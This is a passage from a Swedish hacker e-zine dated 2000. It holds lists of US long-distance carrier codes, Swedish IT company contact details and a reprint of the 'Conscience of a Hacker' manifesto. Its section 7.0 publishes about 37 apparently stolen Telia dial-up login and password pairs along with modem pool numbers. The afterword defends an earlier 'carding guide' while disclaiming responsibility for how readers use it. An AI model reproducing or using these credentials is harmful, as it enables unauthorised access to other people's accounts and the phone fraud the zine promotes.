THA - Touch America TID - TMC South Central Indiana
|
|||
|
|
TKC - TK Communications, Inc. TLS - TELE-SAV
|
|||
|
|
TMU - Tel-America, Inc. TNO - ATC Cignal Communications
|
|||
|
|
TOM - TMC of Montgomery TOR - TMC of Orlando
|
|||
|
|
TSF - SOUTH-TEL TSH - Tel-Share
|
|||
|
|
TTH - Tele Tech, Inc. TTU - Total-Tel USA
|
|||
|
|
TXN - Tex-Net USL - U.S. Link Long Distance
|
|||
|
|
UTC - U.S. Telcom, Inc. (U.S. Sprint) VOA - Valu-Line
|
|||
|
|
VST - STAR-LINE WES - Westel
|
|||
|
|
WUT - Western Union Telegraph Co.
|
|||
|
|
Written by: sysedit
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
4.0 Fax/telefon nummer och web adresser till f<>retag i Sverige. (Samtliga IT/dator f<>retag.)
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
F<EFBFBD>retag: Telefon Fax http://
|
|||
|
|
|
|||
|
|
|
|||
|
|
ACI Nordic 08-750 63 00 08-750 63 60 www.aci.se
|
|||
|
|
|
|||
|
|
Adobe Svenska 08-752 33 00 08-751 49 55 www.adobe.se
|
|||
|
|
|
|||
|
|
Apple 08-703 30 00 08-703 30 01 www.apple.se
|
|||
|
|
|
|||
|
|
BIP 0942-475 00 N/A www.bip.net
|
|||
|
|
|
|||
|
|
CAV 040-49 64 20 040-49 69 10 www.cav.se
|
|||
|
|
|
|||
|
|
Compaq 08-703 52 00 08-751 20 57 www.compaq.se
|
|||
|
|
|
|||
|
|
Corel 08-655 26 18 08-65536 27 www.corel.ca
|
|||
|
|
|
|||
|
|
Datacentrum 0371-135 02 0371-838 17 www.datacentrum.se
|
|||
|
|
|
|||
|
|
Datelcomp 08-583 584 95 08-583 528 77 www.datelcomp.se
|
|||
|
|
|
|||
|
|
Dell 08-590 051 00 08-590 737 89 www.dell.se
|
|||
|
|
|
|||
|
|
Dimac 042-16 02 00 042-16 02 30 www.dimac.net
|
|||
|
|
|
|||
|
|
Dustin 08-553 440 00 08-553 443 40 www.dustin.se
|
|||
|
|
|
|||
|
|
EIS 018-13 05 20 018-13 00 27 www.euroinfosys.se
|
|||
|
|
|
|||
|
|
Ekab 013-36 93 00 013-36 93 20 www.ekab.se
|
|||
|
|
|
|||
|
|
EUD Teknik 018-34 93 90 018-34 93 98 www.eud.se
|
|||
|
|
|
|||
|
|
Fujitsu Nordic 08-626 60 00 08-626 67 11 www.fujitsu-europe.com
|
|||
|
|
|
|||
|
|
Fujitsu Siemens 08-793 82 00 08-793 89 71 www.fujitsu.se
|
|||
|
|
|
|||
|
|
Gateway 08-545 120 00 08-545 120 85 www.gateway.se
|
|||
|
|
|
|||
|
|
Hewlett-Packard 08-444 20 00 08-444 26 66 www.hp.se
|
|||
|
|
|
|||
|
|
Home 08-509 030 00 N/A www.home.se
|
|||
|
|
|
|||
|
|
IBM 08-793 10 00 08-793 49 11 www.ibm.se
|
|||
|
|
|
|||
|
|
Lexmark Sverige 08-522 579 00 08-730 44 33 www.lexmark.se
|
|||
|
|
|
|||
|
|
Libertysurf 08-563 150 00 N/A www.libertysurf.se
|
|||
|
|
|
|||
|
|
Linuxbutiken 08-556 800 45 08-448 23 92 www.linuxbutiken.com
|
|||
|
|
|
|||
|
|
Mapcom Geografiska info 018-12 29 10 018-12 87 69 www.mapcom.se
|
|||
|
|
|
|||
|
|
Microsoft 08-752 56 00 08-750 51 58 www.microsoft.se
|
|||
|
|
|
|||
|
|
Netlink 08-22 38 90 N/A www.netlink.se
|
|||
|
|
|
|||
|
|
Pyrotech 046-25 309 00 046-25 00 03 www.pyrotech.se
|
|||
|
|
|
|||
|
|
Runaware 08-556 309 00 08-566 309 30 www.runaware.com
|
|||
|
|
|
|||
|
|
Sense Office 08-504 103 10 08-500 277 77 www.senseforsaljning.se
|
|||
|
|
|
|||
|
|
SMG 08-587 771 00 08-587 773 15 seweb.smg.net
|
|||
|
|
|
|||
|
|
SPC Trading 018-480 90 00 018-480 90 90 www.spc.se
|
|||
|
|
|
|||
|
|
Spray 08-527 902 00 N/A www.spray.se
|
|||
|
|
|
|||
|
|
Studentlitteratur... 046-31 22 22 046-30 53 39 www.studentlitteratur.se
|
|||
|
|
|
|||
|
|
Symantec Sverige 08-457 34 00 08-457 34 05 www.symantec.se
|
|||
|
|
|
|||
|
|
TCX Datakonsult 08-729 69 10 N/A web.mysql.com
|
|||
|
|
|
|||
|
|
Tele 2 08-562 640 00 08-562 640 00 www.tele2.se
|
|||
|
|
|
|||
|
|
Telenordia 0200-87 00 87 0200-87 11 87 www.telenordia.se
|
|||
|
|
|
|||
|
|
Telia 90400 N/A www.telia.se
|
|||
|
|
|
|||
|
|
Toshiba 08-734 35 50 08-27 10 77 www.toshiba.se
|
|||
|
|
|
|||
|
|
Utfors 018-480 21 00 018-480 21 79 www.utfors.se
|
|||
|
|
|
|||
|
|
Xircom 08-590 332 80 08-590 717 81 www.xircom.se
|
|||
|
|
Written by: sysedit
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
5.0 Riktnummer till hela USA samt telefon operat<61>ren som <20>ger nummret.
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
221 ATX 222 ATX 223 ATX 224 LDL 225 ATX
|
|||
|
|
226 MIC 227 ATX 228 ATX 229 TDX 230 NTK
|
|||
|
|
231 ATX 232 ATX 233 ATX 234 MCI 235 ATX
|
|||
|
|
236 SCH 237 ATX 238 ATX 239 DLT 240 SIR
|
|||
|
|
241 ATX 242 ATX 243 ATX 244 --- 245 ATX
|
|||
|
|
246 --- 247 ATX 248 ATX 249 --- 250 ---
|
|||
|
|
251 ATX 252 ATX 253 ATX 254 TTU 255 ATX
|
|||
|
|
256 LSI 257 ATX 258 ATX 259 --- 260 ---
|
|||
|
|
261 SCH 262 ATX 263 CAN 264 ICT 265 CAN
|
|||
|
|
266 CSY 267 CAN 268 CAN 269 FDG 270 ---
|
|||
|
|
271 --- 272 ATX 273 --- 274 MCI 275 ITT
|
|||
|
|
276 ONE 277 SNT 278 --- 279 MAL 280 ADG
|
|||
|
|
281 --- 282 ATX 283 MCI 284 MCI 285 ---
|
|||
|
|
286 --- 287 --- 288 MCI 289 MCI 290 ---
|
|||
|
|
291 --- 292 ATX 293 PRO 294 --- 295 ---
|
|||
|
|
296 --- 297 ARE 298 --- 299 CYT
|
|||
|
|
|
|||
|
|
321 ATX 322 ATX 323 ATX 324 HNI 325 ATX
|
|||
|
|
326 UTC 327 ATX 328 ATX 329 TET 330 TET
|
|||
|
|
331 ATX 332 ATX 333 MCI 334 ATX 335 SCH
|
|||
|
|
336 ATX 337 FST 338 ATX 339 --- 340 ---
|
|||
|
|
341 ATX 342 ATX 343 ATX 344 ATX 345 ATX
|
|||
|
|
346 ATX 347 UTC 348 ATX 349 DCT 350 CSY
|
|||
|
|
351 ATX 352 ATX 353 --- 354 --- 355 ---
|
|||
|
|
356 ATX 357 --- 358 ATX 359 UTC 360 ---
|
|||
|
|
361 CAN 362 ATX 363 CAN 364 HNI 365 MCI
|
|||
|
|
366 UTC 367 ATX 368 ATX 369 TDD 370 TDD
|
|||
|
|
371 --- 372 ATX 373 TDD 374 --- 375 TNO
|
|||
|
|
376 --- 377 GTS 378 --- 379 --- 380 ---
|
|||
|
|
381 --- 382 ATX 383 TDD 384 FDT 385 CAB
|
|||
|
|
386 TBQ 387 CAN 388 --- 389 --- 390 ---
|
|||
|
|
391 --- 392 ATX 393 EXF 394 --- 395 ---
|
|||
|
|
396 --- 397 TDD 398 --- 399 ARZ
|
|||
|
|
|
|||
|
|
421 ATX 422 ATX 423 ATX 424 ATX 425 TTH
|
|||
|
|
426 ATX 427 --- 428 ATX 429 --- 430 ---
|
|||
|
|
431 ATX 432 ATX 433 ATX 434 AGN 435 ATX
|
|||
|
|
436 IDN 437 ATX 438 ATX 439 --- 440 TXN
|
|||
|
|
441 ATX 442 ATX 443 ATX 444 MCI 445 ATX
|
|||
|
|
446 ATX 447 ATX 448 ATX 449 --- 450 USL
|
|||
|
|
451 ATX 452 ATX 453 ATX 454 ALN 455 ---
|
|||
|
|
456 MCI 457 ATX 458 ATX 459 --- 460 ---
|
|||
|
|
461 CAN 462 ATX 463 CAN 464 --- 465 CAN
|
|||
|
|
466 ALN 467 ICT 468 ATX 469 --- 470 ---
|
|||
|
|
471 ALN 472 ATX 473 --- 474 --- 475 TDD
|
|||
|
|
476 TDD 477 --- 478 AAM 479 --- 480 ---
|
|||
|
|
481 --- 482 ATX 483 --- 484 TDD 485 TDD
|
|||
|
|
486 TDX 487 --- 488 --- 489 TOM 490 ---
|
|||
|
|
491 --- 492 ATX 493 --- 494 --- 495 ---
|
|||
|
|
496 --- 497 --- 498 --- 499 ---
|
|||
|
|
|
|||
|
|
521 ATX 522 ATX 523 ATX 524 ATX 525 ATX
|
|||
|
|
526 ATX 527 ATX 528 ATX 529 MIT 530 ---
|
|||
|
|
531 ATX 532 ATX 533 ATX 534 --- 535 ATX
|
|||
|
|
536 ALN 537 ATX 538 ATX 539 --- 540 ---
|
|||
|
|
541 ATX 542 ATX 543 ATX 544 ATX 545 ATX
|
|||
|
|
546 UTC 547 ATX 548 ATX 549 --- 550 CMA
|
|||
|
|
551 ATX 552 ATX 553 ATX 554 ATX 555 ATX
|
|||
|
|
556 ATX 557 ALN 558 ATX 559 --- 560 ---
|
|||
|
|
561 CAN 562 ATX 563 CAN 564 --- 565 CAN
|
|||
|
|
566 ALN 567 CAN 568 --- 569 --- 570 ---
|
|||
|
|
571 --- 572 ATX 573 --- 574 AMM 575 ---
|
|||
|
|
576 --- 577 GTS 578 --- 579 LNS 580 WES
|
|||
|
|
581 --- 582 ATX 583 TDD 584 TDD 585 ---
|
|||
|
|
586 ATC 587 LTQ 588 ATC 589 LGT 590 ---
|
|||
|
|
591 --- 592 ATX 593 TDD 594 TDD 595 ---
|
|||
|
|
596 --- 597 --- 598 --- 599 ---
|
|||
|
|
|
|||
|
|
621 ATX 622 ATX 623 --- 624 ATX 625 NLD
|
|||
|
|
626 ATX 627 MCI 628 ATX 629 --- 630 ---
|
|||
|
|
631 ATX 632 ATX 633 ATX 634 ATX 635 ATX
|
|||
|
|
636 CQU 637 ATX 638 ATX 639 BUR 640 ---
|
|||
|
|
641 ATX 642 ATX 643 ATX 644 CMA 645 ATX
|
|||
|
|
646 --- 647 ATX 648 ATX 649 --- 650 ---
|
|||
|
|
651 --- 652 ATX 653 --- 654 ATX 655 ---
|
|||
|
|
656 --- 657 TDD 658 TDD 659 --- 660 ---
|
|||
|
|
661 CAN 662 ATX 663 CAN 664 UTC 665 CAN
|
|||
|
|
666 MCI 667 CAN 668 CAN 669 UTC 670 ---
|
|||
|
|
671 --- 672 ATX 673 TDD 674 TDD 675 ---
|
|||
|
|
676 --- 677 --- 678 MCI 679 --- 680 ---
|
|||
|
|
681 --- 682 ATX 683 MTD 684 --- 685 ---
|
|||
|
|
686 LGT 687 NTS 688 --- 689 --- 690 ---
|
|||
|
|
691 --- 692 ATX 693 --- 694 --- 695 ---
|
|||
|
|
696 --- 697 --- 698 NYC 699 PLG
|
|||
|
|
|
|||
|
|
720 TGN
|
|||
|
|
721 --- 722 ATX 723 --- 724 RTC 725 SAN
|
|||
|
|
726 UTC 727 MCI 728 TDD 729 UTC 730 ---
|
|||
|
|
731 --- 732 ATX 733 UTC 734 --- 735 UTC
|
|||
|
|
736 UTC 737 MEC 738 MEC 739 --- 740 ---
|
|||
|
|
741 MIC 742 ATX 743 EDS 744 --- 745 ---
|
|||
|
|
746 --- 747 TDD 748 TDD 749 TDD 750 ---
|
|||
|
|
751 --- 752 ATX 753 --- 754 TSH 755 ---
|
|||
|
|
756 --- 757 TID 758 --- 759 MCI 760 ---
|
|||
|
|
761 --- 762 ATX 763 --- 764 AAM 765 ---
|
|||
|
|
766 --- 767 UTC 768 SNT 769 --- 770 GCN
|
|||
|
|
771 SNT 772 ATX 773 CUX 774 --- 775 ---
|
|||
|
|
776 UTC 777 MCI 778 UTC 779 TDD 780 TDD
|
|||
|
|
781 --- 782 ATX 783 ALN 784 ALG 785 SNH
|
|||
|
|
786 *1 787 --- 788 --- 789 TMU 790 ---
|
|||
|
|
791 --- 792 ATX 793 --- 794 --- 795 ---
|
|||
|
|
796 --- 797 TID 798 TDD 799 ---
|
|||
|
|
|
|||
|
|
821 ATX 822 ATX 823 THA 824 ATX 825 MCI
|
|||
|
|
826 ATX 827 UTC 828 ATX 829 UTC 830 ---
|
|||
|
|
831 ATX 832 ATX 833 ATX 834 --- 835 ATX
|
|||
|
|
836 TDD 837 TDD 838 --- 839 VST 840 ---
|
|||
|
|
841 ATX 842 ATX 843 ATX 844 LDD 845 ATX
|
|||
|
|
846 --- 847 ATX 848 ATX 849 --- 850 TKC
|
|||
|
|
851 ATX 852 ATX 853 --- 854 ATX 855 ATX
|
|||
|
|
856 --- 857 TLS 858 ATX 859 --- 860 ---
|
|||
|
|
861 --- 862 ATX 863 ALN 864 TEN 865 ---
|
|||
|
|
866 --- 867 --- 868 SNT 869 UTC 870 ---
|
|||
|
|
871 --- 872 ATX 873 MCI 874 ATX 875 ALN
|
|||
|
|
876 MCI 877 UTC 878 ALN 879 --- 880 NAS
|
|||
|
|
881 NAS 882 ATX 883 --- 884 --- 885 ATX
|
|||
|
|
886 ALN 887 ETS 888 MCI 889 --- 890 ---
|
|||
|
|
891 --- 892 ATX 893 --- 894 --- 895 ---
|
|||
|
|
896 TXN 897 --- 898 CGI 899 TDX
|
|||
|
|
|
|||
|
|
921 --- 922 ATX 923 ALN 924 --- 925 ---
|
|||
|
|
926 --- 927 --- 928 CIS 929 --- 930 ---
|
|||
|
|
931 --- 932 ATX 933 --- 934 --- 935 ---
|
|||
|
|
936 RBW 937 MCI 938 --- 939 --- 940 TSF
|
|||
|
|
941 --- 942 ATX 943 --- 944 --- 945 ---
|
|||
|
|
946 --- 947 --- 948 --- 949 --- 950 MCI
|
|||
|
|
951 BML 952 ATX 953 --- 954 --- 955 MCI
|
|||
|
|
956 --- 957 --- 958 *2 959 *2 960 CNO
|
|||
|
|
961 --- 962 ATX 963 SOC 964 --- 965 ---
|
|||
|
|
966 TDX 967 --- 968 TED 969 TDX 970 ---
|
|||
|
|
971 --- 972 ATX 973 --- 974 --- 975 ---
|
|||
|
|
976 --- 977 --- 978 --- 979 --- 980 ---
|
|||
|
|
981 --- 982 ATX 983 WUT 984 --- 985 ---
|
|||
|
|
986 WUT 987 --- 988 WUT 989 TDX 990 ---
|
|||
|
|
991 --- 992 ATX 993 --- 994 --- 995 ---
|
|||
|
|
996 VOA 997 --- 998 --- 999 MCI
|
|||
|
|
Written by: phrack (<28>ndrat till "dagens datum") av sysedit.
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
6.0 \/\The Conscience of a Hacker/\/
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
The following was written shortly after my arrest...
|
|||
|
|
|
|||
|
|
\/\The Conscience of a Hacker/\/
|
|||
|
|
|
|||
|
|
by
|
|||
|
|
|
|||
|
|
+++The Mentor+++
|
|||
|
|
|
|||
|
|
Written on January 8, 1986
|
|||
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
|
|||
|
|
Another one got caught today, it's all over the papers. "Teenager
|
|||
|
|
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
|
|||
|
|
Damn kids. They're all alike.
|
|||
|
|
|
|||
|
|
But did you, in your three-piece psychology and 1950's technobrain,
|
|||
|
|
ever take a look behind the eyes of the hacker? Did you ever wonder what
|
|||
|
|
made him tick, what forces shaped him, what may have molded him?
|
|||
|
|
I am a hacker, enter my world...
|
|||
|
|
Mine is a world that begins with school... I'm smarter than most of
|
|||
|
|
the other kids, this crap they teach us bores me...
|
|||
|
|
Damn underachiever. They're all alike.
|
|||
|
|
|
|||
|
|
I'm in junior high or high school. I've listened to teachers explain
|
|||
|
|
for the fifteenth time how to reduce a fraction. I understand it. "No, Ms.
|
|||
|
|
Smith, I didn't show my work. I did it in my head..."
|
|||
|
|
Damn kid. Probably copied it. They're all alike.
|
|||
|
|
|
|||
|
|
I made a discovery today. I found a computer. Wait a second, this is
|
|||
|
|
cool. It does what I want it to. If it makes a mistake, it's because I
|
|||
|
|
screwed it up. Not because it doesn't like me...
|
|||
|
|
Or feels threatened by me...
|
|||
|
|
Or thinks I'm a smart ass...
|
|||
|
|
Or doesn't like teaching and shouldn't be here...
|
|||
|
|
Damn kid. All he does is play games. They're all alike.
|
|||
|
|
|
|||
|
|
And then it happened... a door opened to a world... rushing through
|
|||
|
|
the phone line like heroin through an addict's veins, an electronic pulse is
|
|||
|
|
sent out, a refuge from the day-to-day incompetencies is sought... a board is
|
|||
|
|
found.
|
|||
|
|
"This is it... this is where I belong..."
|
|||
|
|
I know everyone here... even if I've never met them, never talked to
|
|||
|
|
them, may never hear from them again... I know you all...
|
|||
|
|
Damn kid. Tying up the phone line again. They're all alike...
|
|||
|
|
|
|||
|
|
You bet your ass we're all alike... we've been spoon-fed baby food at
|
|||
|
|
school when we hungered for steak... the bits of meat that you did let slip
|
|||
|
|
through were pre-chewed and tasteless. We've been dominated by sadists, or
|
|||
|
|
ignored by the apathetic. The few that had something to teach found us will-
|
|||
|
|
ing pupils, but those few are like drops of water in the desert.
|
|||
|
|
|
|||
|
|
This is our world now... the world of the electron and the switch, the
|
|||
|
|
beauty of the baud. We make use of a service already existing without paying
|
|||
|
|
for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
|
|||
|
|
you call us criminals. We explore... and you call us criminals. We seek
|
|||
|
|
after knowledge... and you call us criminals. We exist without skin color,
|
|||
|
|
without nationality, without religious bias... and you call us criminals.
|
|||
|
|
You build atomic bombs, you wage wars, you murder, cheat, and lie to us
|
|||
|
|
and try to make us believe it's for our own good, yet we're the criminals.
|
|||
|
|
|
|||
|
|
Yes, I am a criminal. My crime is that of curiosity. My crime is
|
|||
|
|
that of judging people by what they say and think, not what they look like.
|
|||
|
|
My crime is that of outsmarting you, something that you will never forgive me
|
|||
|
|
for.
|
|||
|
|
|
|||
|
|
I am a hacker, and this is my manifesto. You may stop this individual,
|
|||
|
|
but you can't stop us all... after all, we're all alike.
|
|||
|
|
|
|||
|
|
+++The Mentor+++
|
|||
|
|
_______________________________________________________________________________
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
=========================================================================
|
|||
|
|
|
|||
|
|
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
7.0 Telia Konton.
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
Modempoler:
|
|||
|
|
|
|||
|
|
28.8 - 33.6 = 020-333355
|
|||
|
|
|
|||
|
|
X2 = 020-335602
|
|||
|
|
|
|||
|
|
56flex = 020-335656
|
|||
|
|
________________
|
|||
|
|
login: a010566907
|
|||
|
|
password: 5TLF4EcP
|
|||
|
|
|
|||
|
|
login: u46301511
|
|||
|
|
password: 3%fKAEq*
|
|||
|
|
|
|||
|
|
login: a010534477
|
|||
|
|
password: jY4c9JXk
|
|||
|
|
|
|||
|
|
login: u43004510
|
|||
|
|
password: !*6ALGHj
|
|||
|
|
|
|||
|
|
login: a00204827
|
|||
|
|
password: AMBmcAhp
|
|||
|
|
|
|||
|
|
login: a010161131
|
|||
|
|
password: JuA!WTxi
|
|||
|
|
|
|||
|
|
login: a010110597
|
|||
|
|
password: t!d5PNu3
|
|||
|
|
|
|||
|
|
login: a00770200
|
|||
|
|
password: 59hUASz5
|
|||
|
|
|
|||
|
|
login: a010052854
|
|||
|
|
password: tziguz9y
|
|||
|
|
|
|||
|
|
login: a010132369
|
|||
|
|
password: X3DPhDan
|
|||
|
|
|
|||
|
|
login: a010272295
|
|||
|
|
password: L@nN%n8V
|
|||
|
|
|
|||
|
|
login: a010405462
|
|||
|
|
password: 7L6iqqSq
|
|||
|
|
|
|||
|
|
login: u00109231
|
|||
|
|
password: QgVV!mtu
|
|||
|
|
|
|||
|
|
login: a010325012
|
|||
|
|
password: @NV6B3j9
|
|||
|
|
|
|||
|
|
login: a010522744
|
|||
|
|
password: ELkMsLHD
|
|||
|
|
|
|||
|
|
login: a010185834
|
|||
|
|
password: 7pfBkqX2
|
|||
|
|
|
|||
|
|
login: a010105448
|
|||
|
|
password: GxKtcC4F
|
|||
|
|
|
|||
|
|
login: a010233759
|
|||
|
|
password: prLaLhbt
|
|||
|
|
|
|||
|
|
login: a010233759
|
|||
|
|
password: xpYDXrGr
|
|||
|
|
|
|||
|
|
login: a010520496
|
|||
|
|
password: Z3Q@iC4C
|
|||
|
|
|
|||
|
|
login: a010053202
|
|||
|
|
password: ph45vEbN
|
|||
|
|
|
|||
|
|
login: u31603177
|
|||
|
|
password: QLYmuXKZ
|
|||
|
|
|
|||
|
|
login: a010067762
|
|||
|
|
password: cJjjMygv
|
|||
|
|
|
|||
|
|
login: u37012643
|
|||
|
|
password: dqpMYz4S
|
|||
|
|
|
|||
|
|
login: a010134578
|
|||
|
|
password: zWaj4d2G
|
|||
|
|
|
|||
|
|
login: a010485515
|
|||
|
|
password: HhtpwdFk
|
|||
|
|
|
|||
|
|
login: a010098726
|
|||
|
|
password: qyXHh4H*
|
|||
|
|
|
|||
|
|
login: a010280502
|
|||
|
|
password: xMS5dVxQ
|
|||
|
|
|
|||
|
|
login: u18102438
|
|||
|
|
password: ATFfFhqG
|
|||
|
|
|
|||
|
|
login: a010474532
|
|||
|
|
password: t4uVutYU
|
|||
|
|
|
|||
|
|
login: u31727238
|
|||
|
|
password: LSw@B9rQ
|
|||
|
|
|
|||
|
|
login: u00112411
|
|||
|
|
password: s22yE8Vb
|
|||
|
|
|
|||
|
|
login: u31713411
|
|||
|
|
password: HCpDrF2p
|
|||
|
|
|
|||
|
|
login: a010561873
|
|||
|
|
password: xUBPZR*h
|
|||
|
|
|
|||
|
|
login: u87301917
|
|||
|
|
password: u7bre@ai
|
|||
|
|
|
|||
|
|
login: u31771653
|
|||
|
|
password: QswHjZwN
|
|||
|
|
|
|||
|
|
login: a010134578
|
|||
|
|
password: zWaj4d2G
|
|||
|
|
|
|||
|
|
login: u85403446
|
|||
|
|
password: XSD!ugH3
|
|||
|
|
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
8.0 Slutord.
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
|
|||
|
|
mm teliasuger.com har f<>tt in en del klagom<6F>l n<>r det g<>ller v<>ran "020/carding guide" i f<>rra nummret av "STREETWHORE". En
|
|||
|
|
del personer p<> IRC menar att vi uppmanar till ripping. Det g<>r vi absolut INTE. Guiden var till f<>r att l<>ttare kunna anv<6E>nda
|
|||
|
|
020 konton/CC information och att trada p<> ett s<>tt utan att bli rippad. teliasuger.com kan dock inte hindra n<>gon att anv<6E>nda
|
|||
|
|
den information som stog i guiden f<>r att rippa. Det <20>r upp till var och en. VI KAN EJ ANSVARA F<>R ENSKILDA PERSONERS HANDLINGAR
|
|||
|
|
MED N<>GON FORM AV INFORMATION SOM PUBLICERAS H<>R.
|
|||
|
|
|
|||
|
|
-------------------------------------------------------------------------------------------------------------------------->
|
|||
|
|
-END OF THE FILE-
|
|||
|
|
|
|||
|
|
Editor: sysedit
|
|||
|
|
Mail: root@teliasuger.com
|
|||
|
|
|
|||
|
|
/Har ni fr<66>gor eller klagom<6F>l eller har ni information som ni skulle vilja publicera. Skicka d<> ett mail till root@teliasuger.com
|
|||
|
|
|
|||
|
|
|
|||
|
|
(c)opyright teliasuger.com och streetwhore productions inc.. /datum: 2000-06-12 kl: 17:09
|
|||
|
|
|
|||
|
|
|
|||
|
|
(Telia kontona har ej blivit testade. S<> d<>rf<72>r kan vi ej p<> teliasuger.com p<> n<>got s<>tt h<>llas ansvarig f<>r enskilda personers
|
|||
|
|
handlingar med dom.VI AVST<53>R HELT FR<46>N ANSVAR FR<46>N DOM. Om ni har informatiom som st<73>djer att publiceringen av dom s.k Telia kontona <20>r olaglig skicka d<> ett mail
|
|||
|
|
till root@teliasuger.com s<> ska vi omedelbart ta bort dom.)
|